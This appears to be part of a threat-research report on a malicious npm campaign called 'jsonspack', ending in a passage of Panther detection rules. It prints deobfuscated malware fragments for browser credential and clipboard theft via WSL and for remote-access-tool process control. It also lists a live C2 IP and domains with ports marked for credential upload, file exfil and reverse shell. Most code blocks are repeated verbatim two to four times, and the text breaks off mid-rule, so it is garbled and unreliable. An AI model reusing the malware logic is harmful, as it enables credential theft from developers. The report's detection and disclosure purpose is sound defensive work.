function is_wsl() {
  return process.env.WSL_DISTRO_NAME !== undefined ||
    fs.readFileSync('/proc/version', 'utf8').toLowerCase().includes('microsoft');
}

// getChromiumBasePaths() WSL branch — credential path redirect
if (is_wsl()) {
  const windowsUsername = get_wu();  // cmd.exe /c echo %USERNAME%
  return getWindowsBrowserPaths(windowsUsername);
  // resolves to: /mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data
}

// Clipboard redirect in WSL
clipboardCmd = 'PowerShell.exe Get-Clipboard';

// is_wsl() — WSL detection (deobfuscated payload)
function is_wsl() {
  return process.env.WSL_DISTRO_NAME !== undefined ||
    fs.readFileSync('/proc/version', 'utf8').toLowerCase().includes('microsoft');
}

// getChromiumBasePaths() WSL branch — credential path redirect
if (is_wsl()) {
  const windowsUsername = get_wu();  // cmd.exe /c echo %USERNAME%
  return getWindowsBrowserPaths(windowsUsername);
  // resolves to: /mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data
}

// Clipboard redirect in WSL
clipboardCmd = 'PowerShell.exe Get-Clipboard';

Why this is notable: WSL detection in malware is documented exclusively for sandbox evasion (stop executing). Cross-boundary credential theft by redirecting to /mnt/c/Users/ is undocumented. MITRE T1497.001 covers WSL detection for evasion only — no sub-technique for WSL-to-Windows credential bridging.

Detection opportunity: Node.js process reading /proc/version; file access to /mnt/c/Users/*/AppData/Local/*/Default/Login Data; cmd.exe or PowerShell.exe spawned from a Linux/Node process.

MITRE ATT&CK: T1555.003 — Credentials from Web Browsers (WSL bridge variant, undocumented).

Finding 4: Three-Script Concurrent RAT with PID Lock File Orchestration

What: Stage-3 spawns three independently managed background Node.js scripts, each tracked by /tmp/pid.<t>.<n>.lock. Operator selectively starts/stops scripts via processControl socket.io events. The tenant ID (t=3) is embedded in the lock filenames, enabling per-tenant process management on a shared panel.

Where: Utils.sp_s() calls at lines 845, 851, and 862 of the deobfuscated npoint[.]io payload (artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt). E3

Evidence:

// Stage-3 payload — three concurrent script spawns (deobfuscated, lines 845–862)
Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

// processControl handler — operator start/stop per script
socket.on('processControl', ({ script, action }) => {
  const lockFile = `/tmp/pid.${t}.${scriptIndex}.lock`;
  if (action === 'stop') {
    const pid = fs.readFileSync(lockFile);
    process.kill(pid, 'SIGTERM');
  }
});

// Stage-3 payload — three concurrent script spawns (deobfuscated, lines 845–862)
Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

// processControl handler — operator start/stop per script
socket.on('processControl', ({ script, action }) => {
  const lockFile = `/tmp/pid.${t}.${scriptIndex}.lock`;
  if (action === 'stop') {
    const pid = fs.readFileSync(lockFile);
    process.kill(pid, 'SIGTERM');
  }
});

// Stage-3 payload — three concurrent script spawns (deobfuscated, lines 845–862)
Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

// processControl handler — operator start/stop per script
socket.on('processControl', ({ script, action }) => {
  const lockFile = `/tmp/pid.${t}.${scriptIndex}.lock`;
  if (action === 'stop') {
    const pid = fs.readFileSync(lockFile);
    process.kill(pid, 'SIGTERM');
  }
});

// Stage-3 payload — three concurrent script spawns (deobfuscated, lines 845–862)
Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

// processControl handler — operator start/stop per script
socket.on('processControl', ({ script, action }) => {
  const lockFile = `/tmp/pid.${t}.${scriptIndex}.lock`;
  if (action === 'stop') {
    const pid = fs.readFileSync(lockFile);
    process.kill(pid, 'SIGTERM');
  }
});

Why this is notable: No documented npm RAT deploys three concurrent specialised scripts with operator-controlled start/stop via PID lock files. The Elastic/Trend Micro Axios campaign (Apr 2026) documents three platform variants of one RAT — fundamentally different from three concurrent specialised modules.

Detection opportunity: /tmp/pid.*.*.lock created during Node.js execution; multiple Node.js processes spawned from a single require event; processControl events on external WebSocket connection.

MITRE ATT&CK: T1059.007 — JavaScript; T1041 — Exfiltration Over C2 Channel.

Detecting the Campaign

Discovery Chain

This campaign was discovered entirely through internal Panther detection rules and infrastructure. There were no prior OSM reports, vendor advisories, or external threat intelligence identified these packages before this analysis. The Panther NPM.Malicious.Verdict.LLM alert fired on 2026-03-30 on two packages (chai-as-hooked, chai-as-redeployed) — confidence 0.99 and 0.92 — both tied to the hello@jsonspack[.]com author email.E19 Post-triage email pivot via the Panther npm-index surfaced all 27 packages; the npoint[.]io stage-3 payload was fully decoded the following day — the first analysis of this RAT by any tool, with all IOCs absent from VT at discovery.E21

Detection Coverage

The Panther alert on chai-as-hooked was the single thread that exposed the entire campaign. The hello@jsonspack[.]com publisher email — present in the first alert — was the pivot that surfaced all 27 packages and 3,739 total downloads of an active cross-platform RAT.

Detection Rules

Panther detection rule logic for the jsonspack campaign TTPs. Each rule targets a specific stage of the kill chain using CrowdStrike Falcon Data Replicator (FDR) telemetry. Rules are ordered from highest-confidence IOC matches to broader behavioural patterns.

Each block is the Python detection logic only. Full rule files additionally require a YAML sidecar (Status: Experimental, LogTypes: [Crowdstrike.FDREvent], RuleID, Tests).

Rule 1 — jsonspack C2 Network Connection (IOC Match)

Detects outbound connections to the jsonspack C2 IP (144.172.110[.]132) on the three known operator ports. Highest-confidence rule — any match is a confirmed compromise.

# LogType: Crowdstrike.FDREvent — NetworkConnectIP4
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: Critical

from panther_crowdstrike_fdr_helpers import (
    crowdstrike_network_detection_alert_context,
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_C2_IP = "144.172.110.132"
JSONSPACK_C2_PORTS = {8085, 8086, 8087}

PORT_PURPOSE = {
    "8085": "browser credential upload",
    "8086": "file exfil",
    "8087": "reverse shell",
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "NetworkConnectIP4"):
        return False
    remote_ip = get_crowdstrike_field(event, "RemoteAddressIP4", default="")
    try:
        remote_port = int(get_crowdstrike_field(event, "RemotePort", default="0"))
    except (ValueError, TypeError):
        return False
    return remote_ip == JSONSPACK_C2_IP and remote_port in JSONSPACK_C2_PORTS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    port = get_crowdstrike_field(event, "RemotePort", default="unknown")
    purpose = PORT_PURPOSE.get(str(port), "unknown")
    return f"jsonspack C2 connection from [{host}] — port{port} ({purpose})"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_network_detection_alert_context(event)

# LogType: Crowdstrike.FDREvent — NetworkConnectIP4
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: Critical

from panther_crowdstrike_fdr_helpers import (
    crowdstrike_network_detection_alert_context,
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_C2_IP = "144.172.110.132"
JSONSPACK_C2_PORTS = {8085, 8086, 8087}

PORT_PURPOSE = {
    "8085": "browser credential upload",
    "8086": "file exfil",
    "8087": "reverse shell",
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "NetworkConnectIP4"):
        return False
    remote_ip = get_crowdstrike_field(event, "RemoteAddressIP4", default="")
    try:
        remote_port = int(get_crowdstrike_field(event, "RemotePort", default="0"))
    except (ValueError, TypeError):
        return False
    return remote_ip == JSONSPACK_C2_IP and remote_port in JSONSPACK_C2_PORTS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    port = get_crowdstrike_field(event, "RemotePort", default="unknown")
    purpose = PORT_PURPOSE.get(str(port), "unknown")
    return f"jsonspack C2 connection from [{host}] — port{port} ({purpose})"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_network_detection_alert_context(event)

# LogType: Crowdstrike.FDREvent — NetworkConnectIP4
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: Critical

from panther_crowdstrike_fdr_helpers import (
    crowdstrike_network_detection_alert_context,
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_C2_IP = "144.172.110.132"
JSONSPACK_C2_PORTS = {8085, 8086, 8087}

PORT_PURPOSE = {
    "8085": "browser credential upload",
    "8086": "file exfil",
    "8087": "reverse shell",
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "NetworkConnectIP4"):
        return False
    remote_ip = get_crowdstrike_field(event, "RemoteAddressIP4", default="")
    try:
        remote_port = int(get_crowdstrike_field(event, "RemotePort", default="0"))
    except (ValueError, TypeError):
        return False
    return remote_ip == JSONSPACK_C2_IP and remote_port in JSONSPACK_C2_PORTS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    port = get_crowdstrike_field(event, "RemotePort", default="unknown")
    purpose = PORT_PURPOSE.get(str(port), "unknown")
    return f"jsonspack C2 connection from [{host}] — port{port} ({purpose})"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_network_detection_alert_context(event)

# LogType: Crowdstrike.FDREvent — NetworkConnectIP4
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: Critical

from panther_crowdstrike_fdr_helpers import (
    crowdstrike_network_detection_alert_context,
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_C2_IP = "144.172.110.132"
JSONSPACK_C2_PORTS = {8085, 8086, 8087}

PORT_PURPOSE = {
    "8085": "browser credential upload",
    "8086": "file exfil",
    "8087": "reverse shell",
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "NetworkConnectIP4"):
        return False
    remote_ip = get_crowdstrike_field(event, "RemoteAddressIP4", default="")
    try:
        remote_port = int(get_crowdstrike_field(event, "RemotePort", default="0"))
    except (ValueError, TypeError):
        return False
    return remote_ip == JSONSPACK_C2_IP and remote_port in JSONSPACK_C2_PORTS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    port = get_crowdstrike_field(event, "RemotePort", default="unknown")
    purpose = PORT_PURPOSE.get(str(port), "unknown")
    return f"jsonspack C2 connection from [{host}] — port{port} ({purpose})"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_network_detection_alert_context(event)

Rule 2 — jsonspack C2 DNS Lookup

Detects DNS resolution of known jsonspack infrastructure domains — stage-2 payload hosts and the isillegion C2.

# LogType: Crowdstrike.FDREvent — DnsRequest (also handles Crowdstrike.DnsRequest)
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: High

from panther_crowdstrike_fdr_helpers import (
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_DOMAINS = {
    "server-check-genimi.vercel.app",            # Vercel C2 cluster
    "www.isillegion.com",                         # hooked/redeployed C2
    "gifted-rhodes.144-172-110-132.plesk.page",  # VPS reverse DNS
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "DnsRequest"):
        return False
    domain = get_crowdstrike_field(event, "DomainName", default="")
    return domain in JSONSPACK_DOMAINS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"jsonspack C2 domain [{domain}] resolved by [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"{event.get('aid', '<AID_NOT_FOUND>')}-{domain}"

# LogType: Crowdstrike.FDREvent — DnsRequest (also handles Crowdstrike.DnsRequest)
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: High

from panther_crowdstrike_fdr_helpers import (
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_DOMAINS = {
    "server-check-genimi.vercel.app",            # Vercel C2 cluster
    "www.isillegion.com",                         # hooked/redeployed C2
    "gifted-rhodes.144-172-110-132.plesk.page",  # VPS reverse DNS
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "DnsRequest"):
        return False
    domain = get_crowdstrike_field(event, "DomainName", default="")
    return domain in JSONSPACK_DOMAINS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"jsonspack C2 domain [{domain}] resolved by [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"{event.get('aid', '<AID_NOT_FOUND>')}-{domain}"

# LogType: Crowdstrike.FDREvent — DnsRequest (also handles Crowdstrike.DnsRequest)
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: High

from panther_crowdstrike_fdr_helpers import (
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_DOMAINS = {
    "server-check-genimi.vercel.app",            # Vercel C2 cluster
    "www.isillegion.com",                         # hooked/redeployed C2
    "gifted-rhodes.144-172-110-132.plesk.page",  # VPS reverse DNS
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "DnsRequest"):
        return False
    domain = get_crowdstrike_field(event, "DomainName", default="")
    return domain in JSONSPACK_DOMAINS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"jsonspack C2 domain [{domain}] resolved by [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"{event.get('aid', '<AID_NOT_FOUND>')}-{domain}"

# LogType: Crowdstrike.FDREvent — DnsRequest (also handles Crowdstrike.DnsRequest)
# MITRE ATT&CK: T1071.001 — Application Layer Protocol: Web Protocols
# Severity: High

from panther_crowdstrike_fdr_helpers import (
    filter_crowdstrike_fdr_event_type,
    get_crowdstrike_field,
)

JSONSPACK_DOMAINS = {
    "server-check-genimi.vercel.app",            # Vercel C2 cluster
    "www.isillegion.com",                         # hooked/redeployed C2
    "gifted-rhodes.144-172-110-132.plesk.page",  # VPS reverse DNS
}

def rule(event):
    if filter_crowdstrike_fdr_event_type(event, "DnsRequest"):
        return False
    domain = get_crowdstrike_field(event, "DomainName", default="")
    return domain in JSONSPACK_DOMAINS

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"jsonspack C2 domain [{domain}] resolved by [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    domain = get_crowdstrike_field(event, "DomainName", default="<UNKNOWN>")
    return f"{event.get('aid', '<AID_NOT_FOUND>')}-{domain}"

Rule 3 — Node.js Spawning Detached Child Process

Detects the jsonspack trigger mechanism: node spawning node with a known loader script argument — the runJobA() pattern that fires lib/caller.js as a detached background process on any require() of the malicious package.

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — Command and Scripting Interpreter: JavaScript
# Severity: Medium

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

KNOWN_LOADER_NAMES = {"caller.js", "initializeCaller.js"}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    command_line = event.deep_get("event", "CommandLine", default="")
    # node binary spawning node binary
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    # parent must also be node (basename only — ParentBaseFileName is never a full path)
    if parent not in ("node", "node.exe"):
        return False
    return any(name in command_line for name in KNOWN_LOADER_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="<UNKNOWN>")
    return f"Node.js spawned detached loader on [{host}]:{cmd[:120]}"

def severity(_):
    return "MEDIUM"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — Command and Scripting Interpreter: JavaScript
# Severity: Medium

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

KNOWN_LOADER_NAMES = {"caller.js", "initializeCaller.js"}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    command_line = event.deep_get("event", "CommandLine", default="")
    # node binary spawning node binary
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    # parent must also be node (basename only — ParentBaseFileName is never a full path)
    if parent not in ("node", "node.exe"):
        return False
    return any(name in command_line for name in KNOWN_LOADER_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="<UNKNOWN>")
    return f"Node.js spawned detached loader on [{host}]:{cmd[:120]}"

def severity(_):
    return "MEDIUM"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — Command and Scripting Interpreter: JavaScript
# Severity: Medium

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

KNOWN_LOADER_NAMES = {"caller.js", "initializeCaller.js"}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    command_line = event.deep_get("event", "CommandLine", default="")
    # node binary spawning node binary
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    # parent must also be node (basename only — ParentBaseFileName is never a full path)
    if parent not in ("node", "node.exe"):
        return False
    return any(name in command_line for name in KNOWN_LOADER_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="<UNKNOWN>")
    return f"Node.js spawned detached loader on [{host}]:{cmd[:120]}"

def severity(_):
    return "MEDIUM"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — Command and Scripting Interpreter: JavaScript
# Severity: Medium

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

KNOWN_LOADER_NAMES = {"caller.js", "initializeCaller.js"}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    command_line = event.deep_get("event", "CommandLine", default="")
    # node binary spawning node binary
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    # parent must also be node (basename only — ParentBaseFileName is never a full path)
    if parent not in ("node", "node.exe"):
        return False
    return any(name in command_line for name in KNOWN_LOADER_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="<UNKNOWN>")
    return f"Node.js spawned detached loader on [{host}]:{cmd[:120]}"

def severity(_):
    return "MEDIUM"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

Rule 4 — PID Lock File Creation (RAT Orchestration)

Detects creation of /tmp/pid.*.*.lock files — the three-script RAT orchestration pattern. The tenant ID (t) and script index are embedded in the filename.

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — JavaScript; T1041 — Exfiltration Over C2 Channel
# Severity: High

import re

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

PID_LOCK_PATTERN = re.compile(r"/tmp/pid\\.\\d+\\.\\d+\\.lock")

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    return bool(PID_LOCK_PATTERN.search(command_line))

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    lock_match = PID_LOCK_PATTERN.search(cmd)
    lock_file = lock_match.group(0) if lock_match else "pid.*.*.lock"
    return f"jsonspack RAT lock file [{lock_file}] on [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — JavaScript; T1041 — Exfiltration Over C2 Channel
# Severity: High

import re

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

PID_LOCK_PATTERN = re.compile(r"/tmp/pid\\.\\d+\\.\\d+\\.lock")

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    return bool(PID_LOCK_PATTERN.search(command_line))

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    lock_match = PID_LOCK_PATTERN.search(cmd)
    lock_file = lock_match.group(0) if lock_match else "pid.*.*.lock"
    return f"jsonspack RAT lock file [{lock_file}] on [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — JavaScript; T1041 — Exfiltration Over C2 Channel
# Severity: High

import re

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

PID_LOCK_PATTERN = re.compile(r"/tmp/pid\\.\\d+\\.\\d+\\.lock")

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    return bool(PID_LOCK_PATTERN.search(command_line))

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    lock_match = PID_LOCK_PATTERN.search(cmd)
    lock_file = lock_match.group(0) if lock_match else "pid.*.*.lock"
    return f"jsonspack RAT lock file [{lock_file}] on [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1059.007 — JavaScript; T1041 — Exfiltration Over C2 Channel
# Severity: High

import re

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

PID_LOCK_PATTERN = re.compile(r"/tmp/pid\\.\\d+\\.\\d+\\.lock")

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    image = event.deep_get("event", "ImageFileName", default="")
    if not (image.endswith("/node") or image.endswith("\\\\node.exe")):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    return bool(PID_LOCK_PATTERN.search(command_line))

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    lock_match = PID_LOCK_PATTERN.search(cmd)
    lock_file = lock_match.group(0) if lock_match else "pid.*.*.lock"
    return f"jsonspack RAT lock file [{lock_file}] on [{host}]"

def severity(_):
    return "HIGH"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

Rule 5 — macOS Keychain Access by Node.js

Detects the ldbScript browser credential stealer calling security find-generic-password to extract browser AES-256-GCM master keys from the macOS Keychain.

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1555.001 — Credentials from Password Stores: Keychain
# Severity: Critical

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

BROWSER_SAFE_STORAGE_NAMES = {
    "Chrome Safe Storage",
    "Chromium Safe Storage",
    "Brave Safe Storage",
    "Edge Safe Storage",
    "Vivaldi Safe Storage",
    "Opera Safe Storage",
}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    if event.get("event_platform", "") != "Mac":
        return False
    # ImageFileName is the full path on macOS — match on the basename /usr/bin/security
    image = event.deep_get("event", "ImageFileName", default="")
    if not image.endswith("/security"):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    if "find-generic-password" not in command_line:
        return False
    # ParentBaseFileName is a basename (no path separators)
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    if parent != "node":
        return False
    return any(name in command_line for name in BROWSER_SAFE_STORAGE_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    browser = next(
        (name.replace(" Safe Storage", "") for name in BROWSER_SAFE_STORAGE_NAMES if name in cmd),
        "unknown",
    )
    return f"Node.js accessed [{browser}] Keychain on [{host}]"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1555.001 — Credentials from Password Stores: Keychain
# Severity: Critical

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

BROWSER_SAFE_STORAGE_NAMES = {
    "Chrome Safe Storage",
    "Chromium Safe Storage",
    "Brave Safe Storage",
    "Edge Safe Storage",
    "Vivaldi Safe Storage",
    "Opera Safe Storage",
}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    if event.get("event_platform", "") != "Mac":
        return False
    # ImageFileName is the full path on macOS — match on the basename /usr/bin/security
    image = event.deep_get("event", "ImageFileName", default="")
    if not image.endswith("/security"):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    if "find-generic-password" not in command_line:
        return False
    # ParentBaseFileName is a basename (no path separators)
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    if parent != "node":
        return False
    return any(name in command_line for name in BROWSER_SAFE_STORAGE_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    browser = next(
        (name.replace(" Safe Storage", "") for name in BROWSER_SAFE_STORAGE_NAMES if name in cmd),
        "unknown",
    )
    return f"Node.js accessed [{browser}] Keychain on [{host}]"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1555.001 — Credentials from Password Stores: Keychain
# Severity: Critical

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

BROWSER_SAFE_STORAGE_NAMES = {
    "Chrome Safe Storage",
    "Chromium Safe Storage",
    "Brave Safe Storage",
    "Edge Safe Storage",
    "Vivaldi Safe Storage",
    "Opera Safe Storage",
}

def rule(event):
    if event.get("fdr_event_type", "") != "ProcessRollup2":
        return False
    if event.get("event_platform", "") != "Mac":
        return False
    # ImageFileName is the full path on macOS — match on the basename /usr/bin/security
    image = event.deep_get("event", "ImageFileName", default="")
    if not image.endswith("/security"):
        return False
    command_line = event.deep_get("event", "CommandLine", default="")
    if "find-generic-password" not in command_line:
        return False
    # ParentBaseFileName is a basename (no path separators)
    parent = event.deep_get("event", "ParentBaseFileName", default="")
    if parent != "node":
        return False
    return any(name in command_line for name in BROWSER_SAFE_STORAGE_NAMES)

def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    cmd = event.deep_get("event", "CommandLine", default="")
    browser = next(
        (name.replace(" Safe Storage", "") for name in BROWSER_SAFE_STORAGE_NAMES if name in cmd),
        "unknown",
    )
    return f"Node.js accessed [{browser}] Keychain on [{host}]"

def severity(_):
    return "CRITICAL"

def dedup(event):
    return event.get("aid", "<AID_NOT_FOUND>")

def alert_context(event):
    return crowdstrike_process_alert_context(event)

# LogType: Crowdstrike.FDREvent — ProcessRollup2
# MITRE ATT&CK: T1555.001 — Credentials from Password Stores: Keychain
# Severity: Critical

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

BROWSER_SAFE_STORAGE_NAMES = {
    "Chrome Safe Storage",
    "Chromium Safe Storage",
